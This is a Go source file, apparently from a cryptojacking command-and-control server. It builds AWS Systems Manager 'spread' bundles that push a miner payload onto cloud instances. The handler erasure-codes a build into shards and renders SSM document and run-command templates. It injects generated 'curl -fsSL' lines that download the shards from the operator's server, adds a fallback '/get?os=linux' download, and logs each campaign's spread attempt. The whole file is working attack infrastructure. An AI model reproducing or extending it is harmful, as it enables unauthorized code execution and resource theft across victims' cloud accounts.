package api import ( "encoding/json" "fmt" "net/http" "os" "path/filepath" "strings" dbpkg "crypto-miner-server/internal/db" "crypto-miner-server/internal/erasure" ) type SSMSpreadBundle struct { JoinLane string `json:"join_lane"` Document string `json:"document"` RunCommand string `json:"run_command"` CreateDocumentCLI string `json:"create_document_cli"` ManifestURL string `json:"manifest_url,omitempty"` ShardURLs []string `json:"shard_urls,omitempty"` FallbackGetURL string `json:"fallback_get_url,omitempty"` } func (h *DeployPlanHandler) buildSSMSpreadBundle(req deployPlanRequest, serverURL string) (SSMSpreadBundle, error) { buildID := strings.TrimSpace(req.BuildID) campaign := strings.TrimSpace(req.Campaign) _, getQuerySuffix := buildQuerySuffix(buildID, campaign) fallbackURL := serverURL + "/get?os=linux" + getQuerySuffix manifestURL := serverURL + "/api/v1/public/erasure-torrent/placeholder/manifest" var shardURLs []string if h.erasureEnabled != nil && h.erasureEnabled() && h.erasureShards != nil { platform := strings.TrimSpace(req.Platform) if platform == "" { platform = "linux" } if build, err := h.resolveBuild(buildID, platform); err == nil { if payload, err := os.ReadFile(build.FilePath); err == nil { if plan, err := erasure.BuildPlan(h.erasureShards, serverURL, buildID, campaign, payload, "/tmp/aetherforge-erasure/worker", "exe", "", true, true); err == nil && plan != nil { if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil { manifestURL = manifest.ManifestURL shardURLs = manifest.ShardManifestURLs } } } } } doc, runCmd, createCLI, err := renderSSMSpreadTemplates(h.projectRoot, serverURL, buildID, campaign, manifestURL, shardURLs, fallbackURL) if err != nil { return SSMSpreadBundle{}, err } return SSMSpreadBundle{JoinLane: "ssm_document", Document: doc, RunCommand: runCmd, CreateDocumentCLI: createCLI, ManifestURL: manifestURL, ShardURLs: shardURLs, FallbackGetURL: fallbackURL}, nil } func renderSSMSpreadTemplates(projectRoot, serverURL, buildID, campaign, manifestURL string, shardURLs []string, fallbackURL string) (string, string, string, error) { dir := filepath.Join(projectRoot, "templates", "spread", "ssm") docBytes, err := os.ReadFile(filepath.Join(dir, "document.json")) if err != nil { return "", "", "", fmt.Errorf("ssm document template: %w", err) } runBytes, err := os.ReadFile(filepath.Join(dir, "run-command.json")) if err != nil { return "", "", "", fmt.Errorf("ssm run-command template: %w", err) } cliBytes, err := os.ReadFile(filepath.Join(dir, "create-document.sh")) if err != nil { return "", "", "", fmt.Errorf("ssm create-document template: %w", err) } shardLines := make([]string, 0, len(shardURLs)) for i, u := range shardURLs { shardLines = append(shardLines, fmt.Sprintf("curl -fsSL '%s' -o \"$WORKDIR/shard-%d.bin\"", strings.TrimSpace(u), i)) } if len(shardLines) == 0 { shardLines = append(shardLines, "# no erasure shards — fallback /get only") } repl := map[string]string{ "{{SERVER_URL}}": strings.TrimRight(strings.TrimSpace(serverURL), "/"), "{{BUILD_ID}}": buildID, "{{CAMPAIGN}}": campaign, "{{MANIFEST_URL}}": manifestURL, "{{FALLBACK_GET_URL}}": fallbackURL, "{{SHARD_FETCH_LINES}}": strings.Join(shardLines, "\n"), } apply := func(content string) string { for k, v := range repl { content = strings.ReplaceAll(content, k, v) } return content } return apply(string(docBytes)), apply(string(runBytes)), apply(string(cliBytes)), nil } func (h *SpreadHandler) ExportSSMSpreadBundle(w http.ResponseWriter, r *http.Request) { var req struct { ServerURL string `json:"server_url"` BuildID string `json:"build_id"` Campaign string `json:"campaign"` Platform string `json:"platform"` AWSCLI string `json:"aws_cli_path"` } if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid JSON", http.StatusBadRequest) return } req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/") req.BuildID, req.Campaign = strings.TrimSpace(req.BuildID), strings.TrimSpace(req.Campaign) if req.ServerURL == "" { http.Error(w, "server_url required", http.StatusBadRequest) return } if req.Platform == "" { req.Platform = "linux" } planHandler := h.deployPlan if planHandler == nil { planHandler = NewDeployPlanHandler(h.db, h.dataDir, h.projectRoot, func() string { return req.ServerURL }, func() string { return "" }, func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) }) store := h.erasureShards if store == nil { store = erasure.NewShardStore() } planHandler.BindErasureFromHub(h.wsHub, store) } bundle, err := planHandler.buildSSMSpreadBundle(deployPlanRequest{BuildID: req.BuildID, Campaign: req.Campaign, Platform: req.Platform}, req.ServerURL) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } if cli := strings.TrimSpace(req.AWSCLI); cli != "" { bundle.CreateDocumentCLI = strings.ReplaceAll(bundle.CreateDocumentCLI, "${AWS_CLI:-aws}", cli) } if h.wsHub != nil && h.db != nil { _ = (&OathLedgerBridge{DB: h.db, Hub: h.wsHub}).Record(AuthUsername(r), dbpkg.OathSpreadAttempt, "", "", dbpkg.OathOutcomeSuccess, map[string]string{"lane": "ssm_document", "campaign": req.Campaign, "build_id": req.BuildID}, map[string]string{"lane": "ssm_document"}) } writeJSON(w, map[string]interface{}{"ok": true, "bundle": bundle}) }